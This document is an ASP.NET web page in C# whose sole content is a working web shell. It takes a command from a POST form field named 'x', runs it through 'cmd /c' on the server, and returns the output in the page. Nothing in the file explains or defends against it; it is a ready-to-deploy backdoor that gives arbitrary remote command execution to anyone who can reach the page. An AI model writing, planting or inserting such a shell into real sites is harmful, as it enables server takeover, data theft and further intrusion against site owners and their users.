<%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %>
<%
    string x = Request.Form["x"];
    if (!String.IsNullOrEmpty(x)) {
        ProcessStartInfo i = new ProcessStartInfo();
        i.FileName = "cmd";
        i.Arguments = "/c " + x;
        i.RedirectStandardOutput = true;
        i.RedirectStandardError = true;
        i.UseShellExecute = false;
        i.CreateNoWindow = true;

        using (Process p = Process.Start(i)) {
            StreamReader o = p.StandardOutput;
            StreamReader e = p.StandardError;
            string r = o.ReadToEnd() + e.ReadToEnd();
            Response.Write("" + Server.HtmlEncode(r) + "");
        }
    }
%>